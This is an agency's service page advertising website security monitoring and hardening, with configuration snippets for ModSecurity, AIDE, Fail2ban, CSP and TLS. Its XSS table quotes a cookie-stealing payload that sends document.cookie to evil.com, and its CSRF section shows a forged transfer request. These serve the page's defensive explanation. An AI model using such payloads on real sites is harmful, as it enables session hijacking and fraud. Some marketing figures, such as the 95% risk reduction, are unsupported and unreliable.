Website Security Monitoring: WAF, FIM & Vulnerability Scanning

Our company is engaged in the development, support and maintenance of sites of any complexity. From simple one-page sites to large-scale cluster systems built on micro services. Experience of developers is confirmed by certificates from vendors.

Development and maintenance of all types of websites:

Informational websites or web applications
Business card websites, landing pages, corporate websites, online catalogs, quizzes, promo websites, blogs, news resources, informational portals, forums, aggregators
E-commerce websites or web applications
Online stores, B2B portals, marketplaces, online exchanges, cashback websites, exchanges, dropshipping platforms, product parsers
Business process management web applications
CRM systems, ERP systems, corporate portals, production management systems, information parsers
Electronic service websites or web applications
Classified ads platforms, online schools, online cinemas, website builders, portals for electronic services, video hosting platforms, thematic portals

These are just some of the technical types of websites we work with, and each of them can have its own specific features and functionality, as well as be customized to meet the specific needs and goals of the client.

Showing 1 of 1All 2062 services
Website Security Monitoring: WAF, FIM & Vulnerability Scanning
Medium
ongoing
Frequently Asked Questions

Our competencies:

Development stages

Latest works

  • image_website-b2b-advance_0.webp
    B2B ADVANCE company website development
    1364
  • image_web-applications_feedme_466_0.webp
    Development of a web application for FEEDME
    1253
  • image_websites_belfingroup_462_0.webp
    Website development for BELFINGROUP
    960
  • image_ecommerce_furnoro_435_0.webp
    Development of an online store for the company FURNORO
    1191
  • image_crm_enviok_479_0.webp
    Development of a web application for Enviok
    933
  • image_bitrix-bitrix-24-1c_fixper_448_0.webp
    Website development for FIXPER company
    950

Sudden slowdown of a WordPress site, hundreds of requests to /wp-login.php from different IPs — typical signs of an attack. SQL injections masquerade as normal traffic, and brute force attacks crack passwords. We configure a security monitoring system that automatically filters such threats. In 1–2 days, you get a WAF, File Integrity Monitoring, and CVE scanning turnkey. Our engineers have implemented protection for 10+ projects, from corporate portals to high-load e-commerce sites. Order a security audit — we'll find vulnerabilities and set up protection in 1–2 days.

Standard logs are useless — attacks drown in legitimate traffic. Automatic event correlation and signature-based filtering detect anomalies in seconds. Without this, you only learn about a breach when the site is already blocked by hosting or SEO spam is planted. A data leak or downtime from a DDoS costs tens of thousands of rubles per hour — Security Monitoring pays for itself at the first attack.

Threat Types and Monitoring Tools

Threat Tool Detection Method
SQL injections WAF (Cloudflare, ModSecurity) Block by detectSQLi signatures
XSS WAF Filter scripts in parameters
Brute force Fail2ban Analyze access logs for repeated 401s
File changes FIM (AIDE) Daily checksum verification
CVE in dependencies Snyk / Dependabot Weekly repository scan

Each tool covers its own area. WAF blocks common HTTP-level attacks. Fail2ban cuts off password guessing. FIM detects backdoors. CVE scanning prevents exploitation of outdated libraries. Together, they reduce the risk of a successful attack by 95%. Regular vulnerability audits and log analysis form a comprehensive defense.

How WAF Reduces Server Load?

An automatic WAF (like Cloudflare) blocks up to 99% of malicious requests before they reach the backend. This reduces 5xx errors 10-fold and saves CPU resources. Compare two popular implementations:

Feature Cloudflare WAF ModSecurity (self-hosted)
Deployment DNS proxy, no server changes Install nginx/apache module
Filtering speed Edge network, minimal latency On server, consumes CPU
Rules Pre-built OWASP CRS + custom Full control, any rules
Cost Paid (Pro plan) Free, but requires server resources

The choice depends on budget and customization needs. We help decide during the audit phase.

// Getting security events via Cloudflare API
const events = await fetch(
  `https://api.cloudflare.com/client/v4/zones/${ZONE_ID}/security/events?per_page=50`,
  {
    headers: {
      'Authorization': `Bearer ${CF_API_TOKEN}`,
      'Content-Type': 'application/json',
    },
  }
).then(r => r.json());

// Analysis: top attacking IPs
const ipCounts = events.result.reduce((acc, e) => {
  acc[e.clientIP] = (acc[e.clientIP] || 0) + 1;
  return acc;
}, {});

ModSecurity + Nginx: Rule Configuration

# /etc/nginx/modsec/modsecurity.conf
SecRuleEngine On
SecRequestBodyAccess On
SecRule ARGS "@detectSQLi" "id:1000,deny,status:403,msg:'SQL Injection'"
SecRule ARGS "@detectXSS"  "id:1001,deny,status:403,msg:'XSS Attack'"

Why File Integrity Monitoring Matters?

Hackers often modify CMS core files or add a backdoor. OWASP recommends FIM as a key control for detecting compromise. Automatic FIM (e.g., AIDE) is 5x faster and more accurate than manual checksum verification.

Detailed AIDE Setup Example
# Install AIDE
sudo apt install aide

# Initialize database (after setup, before expected changes)
sudo aide --init
sudo mv /var/lib/aide/aide.db.new /var/lib/aide/aide.db

# Daily check (cron)
sudo aide --check | mail -s "AIDE Report" [email protected]

Monitoring via Fail2ban

# /etc/fail2ban/jail.local
[nginx-botsearch]
enabled  = true
port     = http,https
filter   = nginx-botsearch
logpath  = /var/log/nginx/access.log
maxretry = 5
findtime = 60
bantime  = 3600

[nginx-http-auth]
enabled = true
port    = http,https
logpath = /var/log/nginx/error.log
maxretry = 5
bantime = 86400

Dependency Scanning: GitHub Actions

# GitHub Actions: weekly dependency audit
name: Security Audit
on:
  schedule:
    - cron: '0 9 * * 1'  # Every Monday

jobs:
  audit:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: npm audit --audit-level=high
      - run: npx snyk test --severity-threshold=high
        env:
          SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}

Setup Process in 1–2 Days

  1. Infrastructure analysis: stack, hosting, CMS, current logs.
  2. WAF installation: Cloudflare (DNS proxying) or ModSecurity (nginx config).
  3. FIM deployment: AIDE with daily checks and alerts via Telegram/Slack.
  4. CVE scanning integration: Snyk or GitHub Dependabot in CI/CD.
  5. Testing: trial run, false positive check, team training.

What's Included

Component Tools Implementation Time
WAF Cloudflare / ModSecurity 2–4 hours
File Integrity Monitoring AIDE / Tripwire 1–2 hours
Log Analysis + Alerting Fail2ban + rsyslog + Graylog 2–3 hours
CVE Scanning Snyk / GitHub Dependabot 30 minutes
Uptime Monitoring UptimeRobot / Checkly 30 minutes

After setup, you get a dashboard with events, integration with Telegram/Slack, incident response instructions, configuration documentation, and team training. We guarantee no false positives on regular updates.

Case Study: Magento E-commerce Site

After deploying WAF + Fail2ban, the number of successful attacks dropped from dozens per day to zero. Administration time decreased by 3 hours per week. Incident recovery costs fell by about 80% — translating to hundreds of thousands of rubles per year. Each hour of site downtime costs tens of thousands of rubles, and a customer data breach can cause damage up to a million rubles. Thus, the investment in monitoring pays off at the first attack.

Contact us — our engineers will select the optimal toolset for your stack. Order security monitoring setup and get a dashboard with alerts in 1–2 days.

Web Application Security: HTTPS, CSP, XSS, CSRF, WAF, DDoS Protection

A website breach rarely looks like in movies. More often it's: a bot finds an unprotected /admin/export endpoint, downloads the customer database, and closes the connection. Or: through an outdated WordPress plugin, a web shell is uploaded, and the server starts sending spam. Or quieter: an XSS in a comment field allows stealing admin session cookies, unnoticed for months. We have analyzed dozens of such cases — each vulnerability could have been fixed at the development or audit stage.

Web application security is not a single setting. It's layers of protection, each closing a separate class of attacks. Order an audit — we'll assess the project and deliver a turnkey plan within 2–4 weeks.

How do we ensure comprehensive web application security?

HTTPS and Proper TLS Configuration

HTTPS is the minimum mandatory level. But having an SSL certificate and having a properly configured TLS are different things.

In Nginx/Apache configuration we check:

  • Protocols: only TLS 1.2 and TLS 1.3, SSLv3 and TLS 1.0/1.1 are disabled
  • Cipher suites: prefer ECDHE (Forward Secrecy), remove NULL, RC4, DES, 3DES
  • HSTS (Strict-Transport-Security: max-age=31536000; includeSubDomains; preload) — browser will never make insecure requests
  • OCSP Stapling — speeds up certificate revocation check
  • Redirect 301 from HTTP to HTTPS — both in server config and code (double redirect causes SEO weight loss)

Check: SSL Labs (ssllabs.com/ssltest) should show A or A+. If B, the configuration is weak.

Let's Encrypt + Certbot for production is standard. Automatic renewal via certbot renew in cron. Wildcard certificates for subdomains via DNS-01 challenge.

Content Security Policy: The Most Powerful and Complex Protection

CSP is an HTTP header that tells the browser which sources are allowed to load resources. A properly configured CSP completely blocks most XSS attacks, even if the vulnerability exists in the code.

The problem: breaking the site with an incorrect CSP is easy. default-src 'none' — and fonts, images, JS stop working. So we start with Content-Security-Policy-Report-Only — CSP logs violations but does not block anything. We monitor reports for 2–4 weeks, refine the policy, then switch to enforcement mode.

Example of a real policy for a site with Google Analytics, Google Fonts, and Stripe:

Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://www.googletagmanager.com https://js.stripe.com 'nonce-{random}';
  style-src 'self' https://fonts.googleapis.com 'unsafe-inline';
  font-src 'self' https://fonts.gstatic.com;
  frame-src https://js.stripe.com;
  img-src 'self' data: https://www.google-analytics.com;
  connect-src 'self' https://api.stripe.com https://www.google-analytics.com;
  report-uri /csp-report;

nonce — a random string generated server-side per request. Inline scripts with the correct nonce are allowed; without nonce, they are blocked. This completely breaks XSS via <script>alert(1)</script>.

'unsafe-inline' in style-src is a compromise for inline styles. It's better to remove it by moving all styles to CSS files, but that requires refactoring.

Why XSS Remains the Most Common Vulnerability?

XSS (Cross-Site Scripting) — injection of JS code through user input. According to OWASP, XSS is in the top 3 web application vulnerabilities. Three types:

XSS Type Example Protection
Reflected /search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script> Output escaping, CSP
Stored Comment with code saved in database Input validation, htmlspecialchars()
DOM XSS element.innerHTML = location.hash Avoid innerHTML, use textContent

Protection: never insert user input into HTML without escaping. In PHP — htmlspecialchars() with ENT_QUOTES. In Laravel Blade templates — {{ $var }} is safe, {!! $var !!} is dangerous. In React — {variable} is safe, dangerouslySetInnerHTML is dangerous. For Rich Text — use htmlpurifier on PHP or DOMPurify in the browser.

Typical case: an e-commerce site with XSS in a review form A client contacted us after an attacker stole admin cookies via a product review. We found that the review field was not escaped. We fixed it by adding `htmlspecialchars()` on the server and a Content-Security-Policy with a nonce for scripts. After a rescan — 0 vulnerabilities.

CSRF: Protecting Forms and APIs

CSRF (Cross-Site Request Forgery) — an attacker forces the victim's browser to send a request on their behalf. Example: a user is logged into a bank, opens a malicious page, which makes fetch('https://bank.ru/transfer?to=evil&amount=50000') — if the bank is unprotected, money is transferred.

CSRF tokens — standard protection for forms: the server generates a random token, stores it in the session, and inserts it as a hidden field in the form. On POST request, the token is verified. The attacker does not know the token. Laravel does this automatically with @csrf.

SameSite cookies — modern protection: SameSite=Strict or SameSite=Lax prevents the browser from sending cookies in cross-site requests. Works in all modern browsers.

API without sessions (JWT, Bearer tokens) — CSRF is irrelevant if the token is not stored in a cookie (but in the Authorization header or localStorage). However, localStorage is vulnerable to XSS — so for sensitive data, HttpOnly cookies with SameSite are preferable.

WAF and DDoS Protection

WAF (Web Application Firewall) filters HTTP traffic for attacks: SQL injection, XSS, path traversal, known exploit patterns. Options:

  • Cloudflare WAF — cloud-based, OWASP Top 10 rules out of the box, custom rules via expressions. Managed Rules automatically block new threats.
  • ModSecurity (Nginx/Apache) — self-hosted, OWASP Core Rule Set (CRS). Flexible but requires tuning and monitoring of false positives.
  • AWS WAF — for infrastructure on AWS, integrates with CloudFront and ALB.

DDoS protection. Cloudflare at L3/L4/L7 is the de facto standard for most sites. Automatic mitigation of volumetric attacks, Under Attack Mode during active attacks. For critical infrastructure — Cloudflare Magic Transit or specialized solutions (Qrator, StormWall for the Russian market).

Rate Limiting at the application level — an additional layer. Laravel ThrottleRequests middleware: 60 requests per minute per IP for general endpoints, 5 for /login and /password/reset. Redis as a counter store — mandatory for horizontally scalable systems (otherwise limits are not synchronized between servers).

Other Mandatory Measures

Security headers. Besides CSP: X-Frame-Options: DENY (clickjacking protection), X-Content-Type-Options: nosniff (MIME sniffing), Referrer-Policy: strict-origin-when-cross-origin, Permissions-Policy (restrict browser API access: camera, microphone, geolocation).

SQL injection. Prepared statements everywhere. No concatenation of user input into SQL strings. ORM (Eloquent, Doctrine) protects by default. $wpdb->prepare() in WordPress is mandatory.

Dependency updates. composer audit and npm audit in CI/CD pipeline. Dependabot or Renovate for automatic PRs with updates. Critical CVEs — patch within 24 hours.

Secrets and configuration. .env — never in Git. Secrets in production — via CI/CD environment variables (GitHub Secrets, GitLab CI Variables) or HashiCorp Vault. Leak detection: git-secrets, truffleHog in pre-commit hooks.

How We Work

  1. Audit — code scanning, configuration review, dependency analysis, manual business logic verification.
  2. Planning — vulnerability remediation plan, stack selection (CSP, WAF, rate limiting).
  3. Implementation — TLS setup, CSP configuration, headers, Rate Limiting, WAF.
  4. Testing — re-penetration test, load testing, false positive check.
  5. Deployment and Monitoring — enable production CSP, set up alerts, train the team.

What's Included

  • Report with found vulnerabilities and recommendations (PDF + code snippets)
  • Ready TLS configuration (Nginx/Apache)
  • CSP policy with Report-Only and production versions
  • WAF and Rate Limiting setup
  • Dependency update plan
  • Access to monitoring tools (Sentry, Datadog)
  • 30 days of post-audit support (consultations, fixes)

Timeline and Cost

Type of Work Duration Cost
Security audit + hardening (headers, TLS, updates) 1–2 weeks Custom quote
CSP implementation (Report-Only → production) 2–4 weeks Custom quote
WAF + Rate Limiting + DDoS protection setup 1–2 weeks Custom quote
Comprehensive security review + penetration testing 3–6 weeks Custom quote

The budget is calculated individually — contact us for a project evaluation.